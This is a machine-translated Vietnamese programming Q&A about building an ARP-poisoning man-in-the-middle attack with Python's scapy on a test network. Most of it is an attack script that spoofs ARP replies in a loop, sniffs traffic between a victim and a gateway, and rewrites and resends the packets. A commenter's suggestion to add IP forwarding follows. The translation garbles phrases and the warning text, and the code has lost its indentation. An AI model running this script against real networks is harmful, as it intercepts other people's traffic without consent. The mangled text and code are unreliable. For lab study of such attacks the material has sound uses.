Tôi đang cố gắng để làm một người đàn ông trong cuộc tấn công giữa với scapy
trên một mạng thử nghiệm. Thiết lập của tôi là như thế này: Người đàn ông trong cuộc tấn công giữa với scapy
Bây giờ bạn có được ý tưởng, đây là các mã:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
Mã này đang chạy trên VM2
.
Việc đầu độc Arp hoạt động tốt, tôi kiểm tra bộ đệm ẩn của cả hai máy và hành vi như tôi mong đợi. Nhưng bên trong routep
, tôi thay đổi src và dst mac địa chỉ và cố gắng gửi các gói tin nhận được đến máy chủ thích hợp, scapy đưa ra một cảnh báo:
WARNING: more Mac address to reach destination not found. Using broadcast
Và tôi nhìn thấy trong wireshark
trên VM2
, các gói sửa đổi không được rời khỏi máy. Tại sao điều đó lại xảy ra? Tui bỏ lỡ điều gì vậy?
Tôi nghĩ bạn đang làm phức tạp hơn. Bạn chỉ cần gửi các phản hồi arp giả mạo cho mạng con và bật chuyển tiếp ip trên máy của bạn. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC
Có thể là bạn phải nói rõ ràng về scapy mà bạn muốn gửi và nhận khung bao gồm cả lớp MAC? –